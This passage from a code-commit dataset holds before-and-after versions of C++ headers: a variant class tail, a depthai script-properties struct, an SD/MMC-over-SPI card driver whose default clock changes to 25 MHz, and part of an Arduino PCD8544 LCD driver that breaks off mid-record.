zero-relative index of the type\n\t\t\t *\t\tthis Variant currently contains.\n\t\t\t *\/\n\t\t\tWord Type () const noexcept {\n\t\t\t\n\t\t\t\treturn active;\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\/**\n\t\t\t *\tGets a reference to the object contained\n\t\t\t *\twithin the variant.\n\t\t\t *\n\t\t\t *\tIf the Variant is empty, or does not contain\n\t\t\t *\tan object of type \\em T, the behaviour of\n\t\t\t *\tthis function is undefined.\n\t\t\t *\n\t\t\t *\t\\return\n\t\t\t *\t\tA reference to the object stored within\n\t\t\t *\t\tthis Variant.\n\t\t\t *\/\n\t\t\ttemplate <typename T>\n\t\t\tT & Get () noexcept {\n\t\t\t\n\t\t\t\treturn *get_ptr<T>();\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\/**\n\t\t\t *\tGets a reference to the object contained\n\t\t\t *\twithin the variant.\n\t\t\t *\n\t\t\t *\tIf the Variant is empty, or does not contain\n\t\t\t *\tan object of type \\em T, the behaviour of\n\t\t\t *\tthis function is undefined.\n\t\t\t *\n\t\t\t *\t\\return\n\t\t\t *\t\tA reference to the object stored within\n\t\t\t *\t\tthis Variant.\n\t\t\t *\/\n\t\t\ttemplate <typename T>\n\t\t\tconst T & Get () const noexcept {\n\t\t\t\n\t\t\t\treturn *get_ptr<T>();\n\t\t\t\n\t\t\t}\n\t\n\t\n\t};\n\n\n}\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include \"depthai-shared\/common\/ProcessorType.hpp\"\n#include \"depthai-shared\/common\/optional.hpp\"\n#include \"depthai-shared\/properties\/Properties.hpp\"\n\nnamespace dai {\n\n\/**\n * Specify ScriptProperties options such as script uri, script name, ...\n *\/\nstruct ScriptProperties : PropertiesSerializable<Properties, ScriptProperties> {\n \/**\n * Uri which points to actual script\n *\/\n std::string scriptUri = \"\";\n\n \/**\n * Name of script\n *\/\n std::string scriptName = \"<script>\";\n\n \/**\n * Which processor should execute the script\n *\/\n ProcessorType processor = ProcessorType::LEON_MSS;\n};\n\nDEPTHAI_SERIALIZE_EXT(ScriptProperties, scriptUri, scriptName, processor);\n\n} \/\/ namespace dai\n<commit_msg>Change default CPU to CSS<commit_after>#pragma once\n\n#include \"depthai-shared\/common\/ProcessorType.hpp\"\n#include \"depthai-shared\/common\/optional.hpp\"\n#include \"depthai-shared\/properties\/Properties.hpp\"\n\nnamespace dai {\n\n\/**\n * Specify ScriptProperties options such as script uri, script name, ...\n *\/\nstruct ScriptProperties : PropertiesSerializable<Properties, ScriptProperties> {\n \/**\n * Uri which points to actual script\n *\/\n std::string scriptUri = \"\";\n\n \/**\n * Name of script\n *\/\n std::string scriptName = \"<script>\";\n\n \/**\n * Which processor should execute the script\n *\/\n ProcessorType processor = ProcessorType::LEON_CSS;\n};\n\nDEPTHAI_SERIALIZE_EXT(ScriptProperties, scriptUri, scriptName, processor);\n\n} \/\/ namespace dai\n<|endoftext|>"} {"text":"<commit_before>\/**\n * \\file\n * \\brief SdMmcCardSpiBased class header\n *\n * \\author Copyright (C) 2018-2019 Kamil Szczygiel http:\/\/www.distortec.com http:\/\/www.freddiechopin.info\n *\n * \\par License\n * This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not\n * distributed with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#ifndef INCLUDE_DISTORTOS_DEVICES_MEMORY_SDMMCCARDSPIBASED_HPP_\n#define INCLUDE_DISTORTOS_DEVICES_MEMORY_SDMMCCARDSPIBASED_HPP_\n\n#include \"distortos\/devices\/communication\/SpiDevice.hpp\"\n\n#include \"distortos\/devices\/memory\/BlockDevice.hpp\"\n\nnamespace distortos\n{\n\nnamespace devices\n{\n\n\/**\n * SdMmcCardSpiBased class is a SD or MMC card connected via SPI.\n *\n * \\ingroup devices\n *\/\n\nclass SdMmcCardSpiBased : public BlockDevice\n{\npublic:\n\n\t\/\/\/ type of card connected via SPI\n\tenum class Type : uint8_t\n\t{\n\t\t\/\/\/ unknown type\n\t\tunknown,\n\n\t\t\/\/\/ MMC card\n\t\tmmc,\n\t\t\/\/\/ SD version 1.0 card\n\t\tsdVersion1,\n\t\t\/\/\/ SD version 2.0 card\n\t\tsdVersion2,\n\t};\n\n\t\/\/\/ size of block, bytes\n\tconstexpr static size_t blockSize {512};\n\n\t\/**\n\t * \\brief SdMmcCardSpiBased's constructor\n\t *\n\t * \\param [in] spiMaster is a reference to SPI master to which this SD or MMC card is connected\n\t * \\param [in] slaveSelectPin is a reference to slave select pin of this SD or MMC card\n\t * \\param [in] clockFrequency is the desired clock frequency of SD or MMC card, Hz, default - 5 MHz\n\t *\/\n\n\tconstexpr SdMmcCardSpiBased(SpiMaster& spiMaster, OutputPin& slaveSelectPin,\n\t\t\tconst uint32_t clockFrequency = 5000000) :\n\t\t\t\t\tspiDevice_{spiMaster, slaveSelectPin},\n\t\t\t\t\tblocksCount_{},\n\t\t\t\t\tauSize_{},\n\t\t\t\t\tclockFrequency_{clockFrequency},\n\t\t\t\t\teraseTimeoutMs_{},\n\t\t\t\t\treadTimeoutMs_{},\n\t\t\t\t\twriteTimeoutMs_{},\n\t\t\t\t\tblockAddressing_{},\n\t\t\t\t\ttype_{}\n\t{\n\n\t}\n\n\t\/**\n\t * \\brief SdMmcCardSpiBased's destructor\n\t *\/\n\n\t~SdMmcCardSpiBased() override;\n\n\t\/**\n\t * \\brief Closes SD or MMC card connected via SPI.\n\t *\n\t * \\warning This function must not be called from interrupt context!\n\t *\n\t * \\return 0 on success, error code otherwise:\n\t * - error codes returned by SpiDevice::close();\n\t *\/\n\n\tint close() override;\n\n\t\/**\n\t * \\brief Erases blocks on a SD or MMC card connected via SPI.\n\t *\n\t * \\warning This function must not be called from interrupt context!\n\t *\n\t * \\param [in] address is the address of range that will be erased, must be a multiple of block size\n\t * \\param [in] size is the size of erased range, bytes, must be a multiple of block size\n\t *\n\t * \\return 0 on success, error code otherwise:\n\t * - EBADF - the device is not opened;\n\t * - EINVAL - \\a address and\/or \\a size are not valid;\n\t * - ENOSPC - selected range is greater than size of device;\n\t * - error codes returned by executeCmd32();\n\t * - error codes returned by executeCmd33();\n\t * - error codes returned by executeCmd38();\n\t * - error codes returned by SpiMasterProxy::configure();\n\t *\/\n\n\tint erase(uint64_t address, uint64_t size) override;\n\n\t\/**\n\t * \\return block size, bytes\n\t *\/\n\n\tsize_t getBlockSize() const override;\n\n\t\/**\n\t * \\return size of SD or MMC card connected via SPI, bytes\n\t *\/\n\n\tuint64_t getSize() const override;\n\n\t\/**\n\t * \\brief Locks the device for exclusive use by current thread.\n\t *\n\t * When the object is locked, any call to any member function from other thread will be blocked until the object is\n\t * unlocked. Locking is optional, but may be useful when more than one transaction must be done atomically.\n\t *\n\t * \\note Locks are recursive.\n\t *\n\t * \\warning This function must not be called from interrupt context!\n\t *\n\t * \\return 0 on success, error code otherwise:\n\t * - error codes returned by SpiDevice::lock();\n\t *\/\n\n\tint lock() override;\n\n\t\/**\n\t * \\brief Opens SD or MMC card connected via SPI.\n\t *\n\t * \\warning This function must not be called from interrupt context!\n\t *\n\t * \\return 0 on success, error code otherwise:\n\t * - error codes returned by initialize();\n\t * - error codes returned by SpiDevice::open();\n\t *\/\n\n\tint open() override;\n\n\t\/**\n\t * \\brief Reads data from SD or MMC card connected via SPI.\n\t *\n\t * \\warning This function must not be called from interrupt context!\n\t *\n\t * \\param [in] address is the address of data that will be read, must be a multiple of block size\n\t * \\param [out] buffer is the buffer into which the data will be read\n\t * \\param [in] size is the size of \\a buffer, bytes, must be a multiple of block size\n\t *\n\t * \\return 0 on success, error code otherwise:\n\t * - EBADF - the device is not opened;\n\t * - EINVAL - \\a address and\/or \\a buffer and\/or \\a size are not valid;\n\t * - EIO - error during communication with SD or MMC card;\n\t * - ENOSPC - selected range is greater than size of device;\n\t * - error codes returned by executeCmd12();\n\t * - error codes returned by executeCmd17();\n\t * - error codes returned by executeCmd18();\n\t * - error codes returned by readDataBlock();\n\t * - error codes returned by SpiMasterProxy::configure();\n\t *\/\n\n\tint read(uint64_t address, void* buffer, size_t size) override;\n\n\t\/**\n\t * \\brief Synchronizes state of SD or MMC card connected via SPI, ensuring all cached writes are finished.\n\t *\n\t * \\return always 0\n\t *\/\n\n\tint synchronize() override;\n\n\t\/**\n\t * \\brief Unlocks the device which was previously locked by current thread.\n\t *\n\t * \\note Locks are recursive.\n\t *\n\t * \\warning This function must not be called from interrupt context!\n\t *\n\t * \\return 0 on success, error code otherwise:\n\t * - error codes returned by SpiDevice::unlock();\n\t *\/\n\n\tint unlock() override;\n\n\t\/**\n\t * \\brief Writes data to SD or MMC card connected via SPI.\n\t *\n\t * \\warning This function must not be called from interrupt context!\n\t *\n\t * \\param [in] address is the address of data that will be written, must be a multiple of block size\n\t * \\param [in] buffer is the buffer with data that will be written\n\t * \\param [in] size is the size of \\a buffer, bytes, must be a multiple of block size\n\t *\n\t * \\return 0 on success, error code otherwise:\n\t * - EBADF - the device is not opened;\n\t * - EINVAL - \\a address and\/or \\a buffer and\/or \\a size are not valid;\n\t * - EIO - error during communication with SD or MMC card;\n\t * - ENOSPC - selected range is greater than size of device;\n\t * - error codes returned by executeAcmd23();\n\t * - error codes returned by executeCmd24();\n\t * - error codes returned by executeCmd25();\n\t * - error codes returned by waitWhileBusy();\n\t * - error codes returned by writeDataBlock();\n\t * - error codes returned by SpiMasterProxy::configure();\n\t * - error codes returned by SpiMasterProxy::executeTransaction();\n\t *\/\n\n\tint write(uint64_t address, const void* buffer, size_t size) override;\n\nprivate:\n\n\t\/**\n\t * \\brief Deinitializes SD or MMC card connected via SPI.\n\t *\/\n\n\tvoid deinitialize();\n\n\t\/**\n\t * \\brief Initializes SD or MMC card connected via SPI.\n\t *\n\t * Algorithm is based on ChaN's\n\t * [How to Use MMC\/SDC: Initialization Procedure for SPI Mode](http:\/\/elm-chan.org\/docs\/mmc\/mmc_e.html#spiinit).\n\t *\n\t * \\param [in] spiDeviceProxy is a reference to SpiDeviceProxy associated with this object\n\t *\n\t * \\return 0 on success, error code otherwise:\n\t * - EIO - error during communication with SD or MMC card;\n\t * - ETIMEDOUT - timed-out while waiting for SD or MMC card to respond;\n\t * - error codes returned by executeAcmd41();\n\t * - error codes returned by executeCmd0();\n\t * - error codes returned by executeCmd1();\n\t * - error codes returned by executeCmd8();\n\t * - error codes returned by executeCmd9();\n\t * - error codes returned by executeCmd16();\n\t * - error codes returned by executeCmd58();\n\t * - error codes returned by SpiMasterProxy::configure();\n\t * - error codes returned by SpiMasterProxy::executeTransaction();\n\t *\/\n\n\tint initialize(const SpiDeviceProxy& spiDeviceProxy);\n\n\t\/\/\/ internal SPI slave device\n\tSpiDevice spiDevice_;\n\n\t\/\/\/ number of blocks available on SD or MMC card\n\tsize_t blocksCount_;\n\n\t\/\/\/ size of AU, bytes\n\tuint32_t auSize_;\n\n\t\/\/\/ desired clock frequency of SD or MMC card, Hz\n\tuint32_t clockFrequency_;\n\n\t\/\/\/ timeout of erase operation of single AU, milliseconds\n\tuint16_t eraseTimeoutMs_;\n\n\t\/\/\/ timeout of read operation, milliseconds\n\tuint16_t readTimeoutMs_;\n\n\t\/\/\/ timeout of write operation, milliseconds\n\tuint16_t writeTimeoutMs_;\n\n\t\/\/\/ selects whether card uses byte (false) or block (true) addressing\n\tbool blockAddressing_;\n\n\t\/\/\/ type of card connected via SPI\n\tType type_;\n};\n\n}\t\/\/ namespace devices\n\n}\t\/\/ namespace distortos\n\n#endif\t\/\/ INCLUDE_DISTORTOS_DEVICES_MEMORY_SDMMCCARDSPIBASED_HPP_\n<commit_msg>Increase default clock for SdMmcCardSpiBased to 25 MHz<commit_after>\/**\n * \\file\n * \\brief SdMmcCardSpiBased class header\n *\n * \\author Copyright (C) 2018-2019 Kamil Szczygiel http:\/\/www.distortec.com http:\/\/www.freddiechopin.info\n *\n * \\par License\n * This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not\n * distributed with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#ifndef INCLUDE_DISTORTOS_DEVICES_MEMORY_SDMMCCARDSPIBASED_HPP_\n#define INCLUDE_DISTORTOS_DEVICES_MEMORY_SDMMCCARDSPIBASED_HPP_\n\n#include \"distortos\/devices\/communication\/SpiDevice.hpp\"\n\n#include \"distortos\/devices\/memory\/BlockDevice.hpp\"\n\nnamespace distortos\n{\n\nnamespace devices\n{\n\n\/**\n * SdMmcCardSpiBased class is a SD or MMC card connected via SPI.\n *\n * \\ingroup devices\n *\/\n\nclass SdMmcCardSpiBased : public BlockDevice\n{\npublic:\n\n\t\/\/\/ type of card connected via SPI\n\tenum class Type : uint8_t\n\t{\n\t\t\/\/\/ unknown type\n\t\tunknown,\n\n\t\t\/\/\/ MMC card\n\t\tmmc,\n\t\t\/\/\/ SD version 1.0 card\n\t\tsdVersion1,\n\t\t\/\/\/ SD version 2.0 card\n\t\tsdVersion2,\n\t};\n\n\t\/\/\/ size of block, bytes\n\tconstexpr static size_t blockSize {512};\n\n\t\/**\n\t * \\brief SdMmcCardSpiBased's constructor\n\t *\n\t * \\param [in] spiMaster is a reference to SPI master to which this SD or MMC card is connected\n\t * \\param [in] slaveSelectPin is a reference to slave select pin of this SD or MMC card\n\t * \\param [in] clockFrequency is the desired clock frequency of SD or MMC card, Hz, default - 25 MHz\n\t *\/\n\n\tconstexpr SdMmcCardSpiBased(SpiMaster& spiMaster, OutputPin& slaveSelectPin,\n\t\t\tconst uint32_t clockFrequency = 25000000) :\n\t\t\t\t\tspiDevice_{spiMaster, slaveSelectPin},\n\t\t\t\t\tblocksCount_{},\n\t\t\t\t\tauSize_{},\n\t\t\t\t\tclockFrequency_{clockFrequency},\n\t\t\t\t\teraseTimeoutMs_{},\n\t\t\t\t\treadTimeoutMs_{},\n\t\t\t\t\twriteTimeoutMs_{},\n\t\t\t\t\tblockAddressing_{},\n\t\t\t\t\ttype_{}\n\t{\n\n\t}\n\n\t\/**\n\t * \\brief SdMmcCardSpiBased's destructor\n\t *\/\n\n\t~SdMmcCardSpiBased() override;\n\n\t\/**\n\t * \\brief Closes SD or MMC card connected via SPI.\n\t *\n\t * \\warning This function must not be called from interrupt context!\n\t *\n\t * \\return 0 on success, error code otherwise:\n\t * - error codes returned by SpiDevice::close();\n\t *\/\n\n\tint close() override;\n\n\t\/**\n\t * \\brief Erases blocks on a SD or MMC card connected via SPI.\n\t *\n\t * \\warning This function must not be called from interrupt context!\n\t *\n\t * \\param [in] address is the address of range that will be erased, must be a multiple of block size\n\t * \\param [in] size is the size of erased range, bytes, must be a multiple of block size\n\t *\n\t * \\return 0 on success, error code otherwise:\n\t * - EBADF - the device is not opened;\n\t * - EINVAL - \\a address and\/or \\a size are not valid;\n\t * - ENOSPC - selected range is greater than size of device;\n\t * - error codes returned by executeCmd32();\n\t * - error codes returned by executeCmd33();\n\t * - error codes returned by executeCmd38();\n\t * - error codes returned by SpiMasterProxy::configure();\n\t *\/\n\n\tint erase(uint64_t address, uint64_t size) override;\n\n\t\/**\n\t * \\return block size, bytes\n\t *\/\n\n\tsize_t getBlockSize() const override;\n\n\t\/**\n\t * \\return size of SD or MMC card connected via SPI, bytes\n\t *\/\n\n\tuint64_t getSize() const override;\n\n\t\/**\n\t * \\brief Locks the device for exclusive use by current thread.\n\t *\n\t * When the object is locked, any call to any member function from other thread will be blocked until the object is\n\t * unlocked. Locking is optional, but may be useful when more than one transaction must be done atomically.\n\t *\n\t * \\note Locks are recursive.\n\t *\n\t * \\warning This function must not be called from interrupt context!\n\t *\n\t * \\return 0 on success, error code otherwise:\n\t * - error codes returned by SpiDevice::lock();\n\t *\/\n\n\tint lock() override;\n\n\t\/**\n\t * \\brief Opens SD or MMC card connected via SPI.\n\t *\n\t * \\warning This function must not be called from interrupt context!\n\t *\n\t * \\return 0 on success, error code otherwise:\n\t * - error codes returned by initialize();\n\t * - error codes returned by SpiDevice::open();\n\t *\/\n\n\tint open() override;\n\n\t\/**\n\t * \\brief Reads data from SD or MMC card connected via SPI.\n\t *\n\t * \\warning This function must not be called from interrupt context!\n\t *\n\t * \\param [in] address is the address of data that will be read, must be a multiple of block size\n\t * \\param [out] buffer is the buffer into which the data will be read\n\t * \\param [in] size is the size of \\a buffer, bytes, must be a multiple of block size\n\t *\n\t * \\return 0 on success, error code otherwise:\n\t * - EBADF - the device is not opened;\n\t * - EINVAL - \\a address and\/or \\a buffer and\/or \\a size are not valid;\n\t * - EIO - error during communication with SD or MMC card;\n\t * - ENOSPC - selected range is greater than size of device;\n\t * - error codes returned by executeCmd12();\n\t * - error codes returned by executeCmd17();\n\t * - error codes returned by executeCmd18();\n\t * - error codes returned by readDataBlock();\n\t * - error codes returned by SpiMasterProxy::configure();\n\t *\/\n\n\tint read(uint64_t address, void* buffer, size_t size) override;\n\n\t\/**\n\t * \\brief Synchronizes state of SD or MMC card connected via SPI, ensuring all cached writes are finished.\n\t *\n\t * \\return always 0\n\t *\/\n\n\tint synchronize() override;\n\n\t\/**\n\t * \\brief Unlocks the device which was previously locked by current thread.\n\t *\n\t * \\note Locks are recursive.\n\t *\n\t * \\warning This function must not be called from interrupt context!\n\t *\n\t * \\return 0 on success, error code otherwise:\n\t * - error codes returned by SpiDevice::unlock();\n\t *\/\n\n\tint unlock() override;\n\n\t\/**\n\t * \\brief Writes data to SD or MMC card connected via SPI.\n\t *\n\t * \\warning This function must not be called from interrupt context!\n\t *\n\t * \\param [in] address is the address of data that will be written, must be a multiple of block size\n\t * \\param [in] buffer is the buffer with data that will be written\n\t * \\param [in] size is the size of \\a buffer, bytes, must be a multiple of block size\n\t *\n\t * \\return 0 on success, error code otherwise:\n\t * - EBADF - the device is not opened;\n\t * - EINVAL - \\a address and\/or \\a buffer and\/or \\a size are not valid;\n\t * - EIO - error during communication with SD or MMC card;\n\t * - ENOSPC - selected range is greater than size of device;\n\t * - error codes returned by executeAcmd23();\n\t * - error codes returned by executeCmd24();\n\t * - error codes returned by executeCmd25();\n\t * - error codes returned by waitWhileBusy();\n\t * - error codes returned by writeDataBlock();\n\t * - error codes returned by SpiMasterProxy::configure();\n\t * - error codes returned by SpiMasterProxy::executeTransaction();\n\t *\/\n\n\tint write(uint64_t address, const void* buffer, size_t size) override;\n\nprivate:\n\n\t\/**\n\t * \\brief Deinitializes SD or MMC card connected via SPI.\n\t *\/\n\n\tvoid deinitialize();\n\n\t\/**\n\t * \\brief Initializes SD or MMC card connected via SPI.\n\t *\n\t * Algorithm is based on ChaN's\n\t * [How to Use MMC\/SDC: Initialization Procedure for SPI Mode](http:\/\/elm-chan.org\/docs\/mmc\/mmc_e.html#spiinit).\n\t *\n\t * \\param [in] spiDeviceProxy is a reference to SpiDeviceProxy associated with this object\n\t *\n\t * \\return 0 on success, error code otherwise:\n\t * - EIO - error during communication with SD or MMC card;\n\t * - ETIMEDOUT - timed-out while waiting for SD or MMC card to respond;\n\t * - error codes returned by executeAcmd41();\n\t * - error codes returned by executeCmd0();\n\t * - error codes returned by executeCmd1();\n\t * - error codes returned by executeCmd8();\n\t * - error codes returned by executeCmd9();\n\t * - error codes returned by executeCmd16();\n\t * - error codes returned by executeCmd58();\n\t * - error codes returned by SpiMasterProxy::configure();\n\t * - error codes returned by SpiMasterProxy::executeTransaction();\n\t *\/\n\n\tint initialize(const SpiDeviceProxy& spiDeviceProxy);\n\n\t\/\/\/ internal SPI slave device\n\tSpiDevice spiDevice_;\n\n\t\/\/\/ number of blocks available on SD or MMC card\n\tsize_t blocksCount_;\n\n\t\/\/\/ size of AU, bytes\n\tuint32_t auSize_;\n\n\t\/\/\/ desired clock frequency of SD or MMC card, Hz\n\tuint32_t clockFrequency_;\n\n\t\/\/\/ timeout of erase operation of single AU, milliseconds\n\tuint16_t eraseTimeoutMs_;\n\n\t\/\/\/ timeout of read operation, milliseconds\n\tuint16_t readTimeoutMs_;\n\n\t\/\/\/ timeout of write operation, milliseconds\n\tuint16_t writeTimeoutMs_;\n\n\t\/\/\/ selects whether card uses byte (false) or block (true) addressing\n\tbool blockAddressing_;\n\n\t\/\/\/ type of card connected via SPI\n\tType type_;\n};\n\n}\t\/\/ namespace devices\n\n}\t\/\/ namespace distortos\n\n#endif\t\/\/ INCLUDE_DISTORTOS_DEVICES_MEMORY_SDMMCCARDSPIBASED_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ a21 — Arduino Toolkit.\n\/\/ Copyright (C) 2016-2017, Aleh Dzenisiuk. http:\/\/github.com\/aleh\/a21\n\/\/\n\n#pragma once\n\n#include <Arduino.h>\n\n#include <a21\/pcd8544fonts.hpp>\n#include <a21\/spi.hpp>\n\nnamespace a21 {\n \n\/** \n * Basic wrapper for a PCD8544 LCD display (such as the one that was used on Nokia 5110).\n *\/\ntemplate<typename pinRST, typename pinCE, typename pinDC, typename pinDIN, typename pinCLK, uint32_t maxFrequency = 4000000L>\nclass PCD8544 {\n \nprivate:\n \n typedef SPI<pinDIN, pinCLK, pinCE, maxFrequency> spi;\n \n enum ValueType : uint8_t {\n Command,\n Data\n };\n \n static void write(ValueType valueType, uint8_t value) {\n pinDC::write(valueType == Data);\n spi::write(value);\n } \n\n static void beginWriting() {\n spi::beginWriting();\n }\n \n static void endWriting() {\n spi::endWriting();\n }\n \n enum FunctionSetCommand : uint8_t {\n FunctionSet = 0x20,\n \/** 0 - basic command set, 1 - extended command set. *\/\n H = 1,\n \/** 0 - horizontal addressing mode, 1 - vertical addressing mode. *\/\n V = 2,\n \/** 0 - chip active, 1 - chip in power down mode. *\/\n PD = 4\n };\n\n enum DisplayControlCommand : uint8_t {\n DisplayControl = 0x08,\n D = 0x04,\n E = 0x01,\n DisplayBlank = (uint8_t)(~(D | E)),\n NormalMode = (uint8_t)(D & ~E),\n AllSegmentsOn = (uint8_t)(~D & E),\n InverseVideoMode = (uint8_t)(D | E)\n };\n\n enum SetXAddressCommand : uint8_t {\n SetXAddress = 0x80,\n SetXAddressMask = 0x7F\n };\n \n enum SetYAddressCommand : uint8_t {\n SetYAddress = 0x40,\n SetYAddressMask = 0x07\n };\n\n enum TemperatureControlExtendedCommand : uint8_t {\n TemperatureControl = 0x04,\n TemperatureControlMask = 0x3\n };\n\n enum BiasSystemExtendedCommand : uint8_t {\n BiasSystem = 0x10,\n BiasSystemMask = 0x07\n };\n\n enum SetVopExtendedCommand : uint8_t {\n SetVop = 0x80,\n SetVopMask = 0x7F\n };\n\n static inline void extendedCommandSet(bool extended) {\n write(\n Command, \n extended ? (FunctionSet | H) & ~(PD | V) \n : (FunctionSet | 0) & ~(PD | V | H)\n );\n }\n \n static inline void setAddressInternal(uint8_t col, uint8_t row) {\n extendedCommandSet(false);\n write(Command, SetXAddress | col);\n write(Command, SetYAddress | row);\n }\n \n static inline void config(uint8_t operatingVoltage, uint8_t biasSystem, uint8_t temperatureControl) {\n \n beginWriting();\n\n \/\/ Not making the display mode a parameter here as those don't seem to be useful.\n extendedCommandSet(false);\n write(Command, DisplayControl | NormalMode);\n \n extendedCommandSet(true); \n write(Command, SetVop | (operatingVoltage & SetVopMask));\n write(Command, BiasSystem | (biasSystem & BiasSystemMask));\n write(Command, TemperatureControl | (temperatureControl & TemperatureControlMask));\n \n endWriting();\n } \n \npublic:\n \n \/** Number of addressable rows, with every row corresponding to 8 horizontal lines of actual pixels. *\/\n static const int Rows = 6;\n \n \/** Number of addressable columns, though unlike rows every column corresponds to 1 vertical line of pixels. *\/\n static const int Cols = 84;\n \n \/** Maximum value for the parameter of operatingVoltage function, though the actual usable values are usually much smaller. *\/\n static const uint8_t MaxVoltage = 0x7F;\n\n \/** Sets operational voltage affecting the contrast of the display. *\/\n static void operatingVoltage(uint8_t value) {\n beginWriting();\n extendedCommandSet(true);\n write(Command, SetVop | value);\n endWriting();\n }\n\n \/** Clears the display. *\/\n static void clear() {\n beginWriting();\n setAddressInternal(0, 0);\n for (int i = 0; i < Rows * Cols; i++) {\n write(Data, 0);\n }\n endWriting();\n }\n \n \/** Initializes the display. *\/\n static void begin(uint8_t operatingVoltage = 52, uint8_t biasSystem = 4, uint8_t temperatureControl = 2) {\n \n spi::begin();\n \n pinDC::setOutput();\n pinDC::setLow();\n\n pinRST::setOutput(); \n pinRST::setLow();\n \n \/\/ TODO: add delay template instead\n delayMicroseconds(1000000.0 \/ maxFrequency);\n \n pinRST::setHigh();\n\n config(operatingVoltage, biasSystem, temperatureControl);\n \n clear();\n }\n \n \/** \n * Transports a bunch of bytes for the given row. The layout directly corresponds with the memory layout of the LCD, \n * where each byte is responsible for a 8 pixel column within the row (MSB is in the bottom of the row, \n * LSB is in the top).\n *\n * The row is filled from left to right (i.e. column address is automatically incremented).\n * col col + 1\n * line row * 8: # bit 0 # bit 0 ...\n * line row * 8 + 1: # bit 1 # bit 1 ...\n * ...\n * line row * 8 + 7: # bit 7 # bit 7 ...\n * ^ ^\n * byte 0 byte 1\n *\n * Note that if more bytes are provided than is left in the row, then they'll be written to the next one \n * (or the first one in case of the last row).\n *\/\n static void writeRow(uint8_t col, uint8_t row, const uint8_t *data, uint8_t data_length) {\n beginWriting();\n setAddressInternal(col, row);\n const uint8_t *src = data;\n for (uint8_t c = data_length; c > 0; c--) {\n write(Data, *src++);\n }\n endWriting();\n }\n\n \/**\n * Similar to writeRow, but the same byte is sent `length` times.\n *\/\n static void fillRow(uint8_t col, uint8_t row, uint8_t filler, uint8_t length) {\n beginWriting();\n setAddressInternal(col, row);\n for (uint8_t c = length; c > 0; c--) {\n write(Data, filler);\n }\n endWriting();\n }\n \n \/\/\n \/\/ Support for simple 8px high fonts fitting rows of the display exactly\n \/\/\n \n \/** \n * Returns the width of the glyph corresponding to a character in the given font and, if a buffer is provided, \n * copies glyph's bitmap bytes into it. \n *\/\n static uint8_t dataForCharacter(PCD8544Font font, char ch, uint8_t *buffer) {\n \n const uint8_t *p = font;\n\n uint8_t options = pgm_read_byte(p++);\n if ((options & 1) && 'a' <= ch && ch <= 'z') {\n ch = ch - 'a' + 'A';\n }\n\n while (true) {\n\n \/\/ First character in the range (0 would mean no more ranges are defined).\n uint8_t first = pgm_read_byte(p++);\n if (first == 0) \n break;\n\n \/\/ Last character in the range.\n uint8_t last = pgm_read_byte(p++);\n\n \/\/ Number of bytes every character in the range occupies. \n uint8_t bytes_per_character = pgm_read_byte(p++);\n\n if (first <= ch && ch <= last) {\n \n \/\/ Our character is in the range, let's copy the data for it.\n \n p += (ch - first) * bytes_per_character;\n \/\/ The first byte of the glyph data is the actual width of the glyph.\n uint8_t width = pgm_read_byte(p++);\n \/\/ Copy the bitmap if the caller expects it.\n if (buffer) {\n memcpy_PF(buffer, (uint_farptr_t)p, width);\n }\n\n return width;\n }\n\n \/\/ Well, let's skip to the next range of characters.\n p += (last + 1 - first) * bytes_per_character; \n }\n\n \/\/ Let's return data for sort of a default character.\n return dataForCharacter(font, '?', buffer);\n } \n\n \/** The width of the string drawn with the given font. *\/\n static uint8_t textWidth(PCD8544Font font, const char *text) {\n \n char ch;\n const char *src = text;\n uint8_t result = 0;\n while ((ch = *src++)) { \n uint8_t width = dataForCharacter(font, ch, NULL);\n result += width + 1;\n }\n \n return result;\n }\n \n \/** \n * Renders a text string by sending the corresponding bytes directly to the LCD.\n * The row and col parameters use LCD addressing system, where each rows occupies 8 pixels.\n * The max_width parameter is not clipped to the actual width available.\n * The xor_mask set to 0xFF or 0x7E can be used to render inverted text, for example.\n *\/\n static uint8_t drawText(\n PCD8544Font font, \n const uint8_t col, \n const uint8_t row, \n const uint8_t max_width, \n const char *text, \n const uint8_t xor_mask = 0\n ) {\n \n beginWriting();\n \n setAddressInternal(col, row);\n \n char ch;\n const char *src = text;\n \n \/\/ Well, let's clip it just in case.\n uint8_t m = Cols - col;\n uint8_t width_left = max_width < m ? max_width : m;\n \n while ((ch = *src++)) {\n \n uint8_t bitmap[8];\n uint8_t width = dataForCharacter(font, ch, bitmap);\n \n for (uint8_t i = 0; i < width; i++) {\n write(Data, bitmap[i] ^ xor_mask);\n if (--width_left == 0) {\n endWriting();\n return 0;\n }\n }\n \n write(Data, xor_mask);\n if (--width_left == 0)\n break;\n }\n \n endWriting();\n \n return max_width - width_left;\n }\n \n \/** Returns how many characters will fit max_width pixels without being truncacted. *\/\n static uint8_t numberOfCharsFittingWidth(PCD8544Font font, const char *text, uint8_t max_width) {\n \n uint8_t result = 0;\n \n char ch;\n const char *src = text;\n uint8_t total_width = 0;\n while ((ch = *src++)) {\n uint8_t new_total_width = total_width + dataForCharacter(font, ch, NULL) + 1;\n if (new_total_width > max_width)\n break;\n total_width = new_total_width;\n result++;\n }\n \n return result;\n }\n \n};\n\n\/**\n * Turns a PCD8544 LCD into a simple text-only display with autoscrolling.\n * Note that we don't inherit Arduino's Print class to keep the compiled code size small.\n *\/\ntemplate<typename lcd, typename font>\nclass PCD8544Console {\n \nprivate:\n \n static const uint8_t MaxCols = lcd::Cols \/ 4;\n \n char _buffer[lcd::Rows][MaxCols + 1];\n uint8_t _row;\n uint8_t _col;\n uint8_t _rowWidth;\n uint8_t _filledRows;\n bool _dirty;\n \n void lf() {\n \n _col = 0;\n _rowWidth = 0;\n \n _row++;\n if (_row >= lcd::Rows) {\n _row = 0;\n }\n _filledRows++;\n if (_filledRows >= lcd::Rows) {\n _filledRows--;\n }\n _buffer[_row][_col] = 0;\n }\n \n void cr() {\n _col = 0;\n _rowWidth = 0;\n }\n \npublic:\n \n PCD8544Console() \n : _row(0), _col(0), _rowWidth(0), _filledRows(0)\n {}\n \n \/** Clears the console without redrawing it on the LCD. *\/\n void clear() {\n _row = _filledRows = 0;\n _col = 0;\n 